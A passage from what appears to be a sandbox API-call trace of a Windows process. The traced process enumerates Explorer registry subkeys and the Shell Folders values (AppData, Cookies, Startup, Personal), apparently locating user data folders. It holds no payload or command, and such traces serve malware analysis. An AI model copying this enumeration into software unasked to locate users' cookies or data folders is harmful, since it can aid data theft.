(HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x22fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0025.917] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.917] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.918] RegOpenKeyExW (in: hKey=0x120, lpSubKey="Explorer", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x124) returned 0x0 [0025.918] RegCloseKey (hKey=0x120) returned 0x0 [0025.918] RegEnumKeyW (in: hKey=0x124, dwIndex=0x0, lpName=0x21d9d18, cchName=0x104 | out: lpName="Advanced") returned 0x0 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x22fc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced", lpUsedDefaultChar=0x0) returned 8 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.918] RegEnumKeyW (in: hKey=0x124, dwIndex=0x1, lpName=0x21d9d18, cchName=0x104 | out: lpName="ApplicationDestinations") returned 0x0 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x22fc240, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applicationdestinations", lpUsedDefaultChar=0x0) returned 23 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.918] RegEnumKeyW (in: hKey=0x124, dwIndex=0x2, lpName=0x21d9d18, cchName=0x104 | out: lpName="AutoComplete") returned 0x0 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x22fc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autocomplete", lpUsedDefaultChar=0x0) returned 12 [0025.918] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.918] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.919] RegEnumKeyW (in: hKey=0x124, dwIndex=0x3, lpName=0x21d9d18, cchName=0x104 | out: lpName="AutoplayHandlers") returned 0x0 [0025.919] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.919] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x22fc240, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autoplayhandlers", lpUsedDefaultChar=0x0) returned 16 [0025.919] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.919] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.919] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.919] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.919] RegEnumKeyW (in: hKey=0x124, dwIndex=0x4, lpName=0x21d9d18, cchName=0x104 | out: lpName="BitBucket") returned 0x0 [0025.919] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.919] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x22fc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitbucket", lpUsedDefaultChar=0x0) returned 9 [0025.919] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.919] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.919] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.919] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.919] RegEnumKeyW (in: hKey=0x124, dwIndex=0x5, lpName=0x21d9d18, cchName=0x104 | out: lpName="CabinetState") returned 0x0 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x22fc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cabinetstate", lpUsedDefaultChar=0x0) returned 12 [0025.919] RegEnumKeyW (in: hKey=0x124, dwIndex=0x6, lpName=0x21d9d18, cchName=0x104 | out: lpName="CD Burning") returned 0x0 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x22fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cd burning", lpUsedDefaultChar=0x0) returned 10 [0025.919] RegEnumKeyW (in: hKey=0x124, dwIndex=0x7, lpName=0x21d9d18, cchName=0x104 | out: lpName="CIDOpen") returned 0x0 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x22fc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cidopen", lpUsedDefaultChar=0x0) returned 7 [0025.920] RegEnumKeyW (in: hKey=0x124, dwIndex=0x8, lpName=0x21d9d18, cchName=0x104 | out: lpName="CLSID") returned 0x0 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x22fc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clsid", lpUsedDefaultChar=0x0) returned 5 [0025.920] RegEnumKeyW (in: hKey=0x124, dwIndex=0x9, lpName=0x21d9d18, cchName=0x104 | out: lpName="ComDlg32") returned 0x0 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x22fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comdlg32", lpUsedDefaultChar=0x0) returned 8 [0025.920] RegEnumKeyW (in: hKey=0x124, dwIndex=0xa, lpName=0x21d9d18, cchName=0x104 | out: lpName="Discardable") returned 0x0 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discardable", lpUsedDefaultChar=0x0) returned 11 [0025.920] RegEnumKeyW (in: hKey=0x124, dwIndex=0xb, lpName=0x21d9d18, cchName=0x104 | out: lpName="FileExts") returned 0x0 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x22fc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileexts", lpUsedDefaultChar=0x0) returned 8 [0025.920] RegEnumKeyW (in: hKey=0x124, dwIndex=0xc, lpName=0x21d9d18, cchName=0x104 | out: lpName="LowRegistry") returned 0x0 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lowregistry", lpUsedDefaultChar=0x0) returned 11 [0025.920] RegEnumKeyW (in: hKey=0x124, dwIndex=0xd, lpName=0x21d9d18, cchName=0x104 | out: lpName="MenuOrder") returned 0x0 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x22fc240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menuorder", lpUsedDefaultChar=0x0) returned 9 [0025.920] RegEnumKeyW (in: hKey=0x124, dwIndex=0xe, lpName=0x21d9d18, cchName=0x104 | out: lpName="Modules") returned 0x0 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x22fc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modules", lpUsedDefaultChar=0x0) returned 7 [0025.920] RegEnumKeyW (in: hKey=0x124, dwIndex=0xf, lpName=0x21d9d18, cchName=0x104 | out: lpName="MountPoints2") returned 0x0 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x22fc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountpoints2", lpUsedDefaultChar=0x0) returned 12 [0025.921] RegEnumKeyW (in: hKey=0x124, dwIndex=0x10, lpName=0x21d9d18, cchName=0x104 | out: lpName="NewShortcutHandlers") returned 0x0 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x22fc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="newshortcuthandlers", lpUsedDefaultChar=0x0) returned 19 [0025.921] RegEnumKeyW (in: hKey=0x124, dwIndex=0x11, lpName=0x21d9d18, cchName=0x104 | out: lpName="RecentDocs") returned 0x0 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x22fc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="recentdocs", lpUsedDefaultChar=0x0) returned 10 [0025.921] RegEnumKeyW (in: hKey=0x124, dwIndex=0x12, lpName=0x21d9d18, cchName=0x104 | out: lpName="RunMRU") returned 0x0 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x22fc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="runmru", lpUsedDefaultChar=0x0) returned 6 [0025.921] RegEnumKeyW (in: hKey=0x124, dwIndex=0x13, lpName=0x21d9d18, cchName=0x104 | out: lpName="SearchPlatform") returned 0x0 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x22fc240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchplatform", lpUsedDefaultChar=0x0) returned 14 [0025.921] RegEnumKeyW (in: hKey=0x124, dwIndex=0x14, lpName=0x21d9d18, cchName=0x104 | out: lpName="Shell Folders") returned 0x0 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x22fc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shell folders", lpUsedDefaultChar=0x0) returned 13 [0025.921] RegOpenKeyExW (in: hKey=0x124, lpSubKey="Shell Folders", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0x120) returned 0x0 [0025.921] RegCloseKey (hKey=0x124) returned 0x0 [0025.921] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.921] RegEnumValueA (in: hKey=0x120, dwIndex=0x0, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="!Do not use this registry key", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x1, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x2, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Local AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x3, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Video", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x4, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x5, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Pictures", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x6, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Desktop", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x7, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="History", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x8, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NetHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x9, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{56784854-C6CB-462B-8169-88E350ACB882}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0xa, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cookies", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0xb, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Favorites", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0xc, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SendTo", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0xd, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start Menu", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0xe, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Music", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0xf, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Programs", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.922] RegEnumValueA (in: hKey=0x120, dwIndex=0x10, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Recent", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x11, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="CD Burning", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x12, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PrintHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x13, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x14, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{374DE290-123F-4565-9164-39C4925E467B}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x15, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{A520A1A4-1780-4FF6-BD18-167343C5AF16}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x16, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Startup", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x17, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Administrative Tools", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x18, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Personal", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x19, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: 